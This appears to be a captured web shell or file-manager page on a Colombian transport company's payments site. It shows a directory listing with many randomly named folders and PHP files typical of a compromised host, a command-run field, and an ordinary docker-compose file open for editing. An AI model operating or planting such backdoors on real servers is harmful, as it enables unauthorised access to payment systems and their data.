/
home
/
suroeste
/
public_html
/
payments.transportessuroeste.com
/
/home/suroeste/public_html/payments.transportessuroeste.com
mkdir
upload
Name
Size
Mode
Actions
.well-known/
-
0755
rm
1cfdnhr/
-
0755
rm
1etkdby/
-
0755
rm
1tsmiqb/
-
0755
rm
akreluo/
-
0755
rm
amhqwdx/
-
0755
rm
backups/
-
0755
rm
bgknyid/
-
0755
rm
bifxznv/
-
0755
rm
cemjpbi/
-
0755
rm
cfabzhe/
-
0755
rm
cmkghiu/
-
0755
rm
config/
-
0755
rm
cron/
-
0755
rm
docker/
-
0755
rm
docs/
-
0755
rm
dwavcno/
-
0755
rm
e1fixrj/
-
0755
rm
fdaplq1/
-
0755
rm
fo1lhvt/
-
0755
rm
fvgmenk/
-
0755
rm
fzbjask/
-
0755
rm
hikpajl/
-
0755
rm
hyjdnsr/
-
0755
rm
ife1nlg/
-
0755
rm
igdshxa/
-
0755
rm
ilh1bfr/
-
0755
rm
images/
-
0755
rm
jaikrnl/
-
0755
rm
kfubpwj/
-
0755
rm
kmdsjtz/
-
0755
rm
knwtapm/
-
0755
rm
logs/
-
0755
rm
loqchtm/
-
0755
rm
lyx1vnj/
-
0755
rm
mngtjdq/
-
0755
rm
mwbegla/
-
0755
rm
nqyaed1/
-
0755
rm
nzkaemc/
-
0755
rm
ohv1fgp/
-
0755
rm
pnwqhti/
-
0755
rm
public/
-
0755
rm
qgkblup/
-
0755
rm
qpaojvm/
-
0755
rm
qpuamel/
-
0755
rm
qyx1ebu/
-
0755
rm
raqeshc/
-
0755
rm
raycuep/
-
0755
rm
rmfouxg/
-
0755
rm
rxioups/
-
0755
rm
scripts/
-
0755
rm
sql/
-
0755
rm
src/
-
0755
rm
stnfxyv/
-
0755
rm
sxeytiu/
-
0755
rm
uoxdegm/
-
0755
rm
uqevbyp/
-
0755
rm
uswbqht/
-
0755
rm
uzvyjsg/
-
0755
rm
vendor/
-
0755
rm
vibxhqo/
-
0755
rm
vpfzhbr/
-
0755
rm
vzypahu/
-
0755
rm
wp-content/
-
0755
rm
wp-includes/
-
0755
rm
wzqgotb/
-
0755
rm
xrwisk1/
-
0755
rm
xunyhjl/
-
0755
rm
yjsoxnw/
-
0755
rm
ypnkvrz/
-
0755
rm
ytxpovc/
-
0755
rm
zapt1lb/
-
0755
rm
zbswkqj/
-
0755
rm
zdsefxh/
-
0755
rm
.dockerignore
666
0644
edit
dl
rm
.env.example
2517
0644
edit
dl
rm
.gitignore
396
0644
edit
dl
rm
.htaccess
81
0555
edit
dl
rm
03QZXJ8Sn4.php
10676
0666
edit
dl
rm
Ad6tTSufkP.php
11498
0666
edit
dl
rm
CHANGELOG.md
2626
0644
edit
dl
rm
composer.json
1123
0644
edit
dl
rm
composer.lock
66675
0644
edit
dl
rm
CONTRIBUTING.md
2399
0644
edit
dl
rm
docker-compose.override.yml
3265
0644
edit
dl
rm
docker-compose.prod.yml
3089
0644
edit
dl
rm
docker-compose.yml
6366
0644
edit
dl
rm
index.php
49646
0555
edit
dl
rm
install.sh
3591
0644
edit
dl
rm
Makefile
6207
0644
edit
dl
rm
php.ini
105
0644
edit
dl
rm
README.md
6599
0644
edit
dl
rm
robots.txt
420
0444
edit
dl
rm
stoQagdHKX.php
11498
0666
edit
dl
rm
transportes-suroeste.zip
2255886
0644
edit
dl
rm
wp-cron-ooig.php
1659
0644
edit
dl
rm
Edit:
/home/suroeste/public_html/payments.transportessuroeste.com/docker-compose.yml
(6366B)
# ============================================================================ # TRANSPORTES SUROESTE - Docker Compose (Base) # ============================================================================ # Usage: # Development: docker compose up -d (uses override automatically) # Production: docker compose -f docker-compose.yml -f docker-compose.prod.yml up -d # ============================================================================ services: # ========================================================================== # PHP-FPM Application # ========================================================================== php: build: context: . dockerfile: docker/php/Dockerfile container_name: ts-php restart: unless-stopped user: "www-data" working_dir: /var/www/html volumes: - app-logs:/var/www/html/logs environment: APP_ENV: ${APP_ENV:-production} APP_URL: ${APP_URL:-https://api.transportessuroeste.com} DB_HOST: mysql DB_PORT: 3306 DB_NAME: ${DB_NAME:-transportes_suroeste_payments} DB_USER: ${DB_USER:-ts_app} DB_PASS: ${DB_PASS:?DB_PASS is required} EPAYCO_PUBLIC_KEY: ${EPAYCO_PUBLIC_KEY:?EPAYCO_PUBLIC_KEY is required} EPAYCO_PRIVATE_KEY: ${EPAYCO_PRIVATE_KEY:?EPAYCO_PRIVATE_KEY is required} EPAYCO_P_KEY: ${EPAYCO_P_KEY:?EPAYCO_P_KEY is required} EPAYCO_TEST_MODE: ${EPAYCO_TEST_MODE:-false} ENCRYPTION_KEY: ${ENCRYPTION_KEY:?ENCRYPTION_KEY is required} JWT_SECRET: ${JWT_SECRET:?JWT_SECRET is required} RATE_LIMIT_REQUESTS: ${RATE_LIMIT_REQUESTS:-100} RATE_LIMIT_WINDOW: ${RATE_LIMIT_WINDOW:-60} RATE_LIMIT_BAN_TIME: ${RATE_LIMIT_BAN_TIME:-3600} REDIS_HOST: redis REDIS_PORT: 6379 REDIS_PASSWORD: ${REDIS_PASSWORD:-} REDIS_DATABASE: ${REDIS_DATABASE:-0} networks: - backend depends_on: mysql: condition: service_healthy redis: condition: service_healthy deploy: resources: limits: cpus: '1.0' memory: 512M reservations: cpus: '0.25' memory: 128M healthcheck: test: ["CMD-SHELL", "php-fpm-healthcheck || exit 1"] interval: 30s timeout: 5s retries: 3 start_period: 15s logging: driver: json-file options: max-size: "10m" max-file: "3" # ========================================================================== # Nginx Reverse Proxy # ========================================================================== nginx: image: nginx:1.25-alpine container_name: ts-nginx restart: unless-stopped ports: - "${NGINX_PORT:-80}:80" volumes: - ./docker/nginx/nginx.conf:/etc/nginx/nginx.conf:ro - ./docker/nginx/sites/default.conf:/etc/nginx/conf.d/default.conf:ro - ./public:/var/www/html/public:ro networks: - frontend - backend depends_on: php: condition: service_healthy deploy: resources: limits: cpus: '0.5' memory: 128M reservations: cpus: '0.1' memory: 32M healthcheck: test: ["CMD", "wget", "--no-verbose", "--tries=1", "--spider", "http://localhost/api/v1/health"] interval: 30s timeout: 5s retries: 3 start_period: 10s logging: driver: json-file options: max-size: "10m" max-file: "3" # ========================================================================== # MySQL Database # ========================================================================== mysql: image: mysql:8.0 container_name: ts-mysql restart: unless-stopped command: --default-authentication-plugin=mysql_native_password environment: MYSQL_ROOT_PASSWORD: ${MYSQL_ROOT_PASSWORD:?MYSQL_ROOT_PASSWORD is required} MYSQL_DATABASE: ${DB_NAME:-transportes_suroeste_payments} MYSQL_USER: ${DB_USER:-ts_app} MYSQL_PASSWORD: ${DB_PASS:?DB_PASS is required} volumes: - mysql-data:/var/lib/mysql - ./docker/mysql/my.cnf:/etc/mysql/conf.d/custom.cnf:ro - ./sql/database.sql:/docker-entrypoint-initdb.d/01-schema.sql:ro networks: - backend deploy: resources: limits: cpus: '1.0' memory: 1G reservations: cpus: '0.25' memory: 256M healthcheck: test: ["CMD", "mysqladmin", "ping", "-h", "localhost", "-u", "root", "-p${MYSQL_ROOT_PASSWORD}"] interval: 15s timeout: 5s retries: 5 start_period: 30s logging: driver: json-file options: max-size: "10m" max-file: "3" # ========================================================================== # Redis - Rate limiting and sessions # ========================================================================== redis: image: redis:7-alpine container_name: ts-redis restart: unless-stopped command: > redis-server --maxmemory 64mb --maxmemory-policy allkeys-lru --save "" --appendonly no networks: - backend deploy: resources: limits: cpus: '0.25' memory: 96M reservations: cpus: '0.1' memory: 32M healthcheck: test: ["CMD", "redis-cli", "ping"] interval: 15s timeout: 3s retries: 3 start_period: 5s logging: driver: json-file options: max-size: "5m" max-file: "2" # ============================================================================ # Networks # ============================================================================ networks: frontend: driver: bridge name: ts-frontend backend: driver: bridge name: ts-backend internal: true # ============================================================================ # Volumes # ============================================================================ volumes: mysql-data: driver: local name: ts-mysql-data app-logs: driver: local name: ts-app-logs
Save
cmd:
run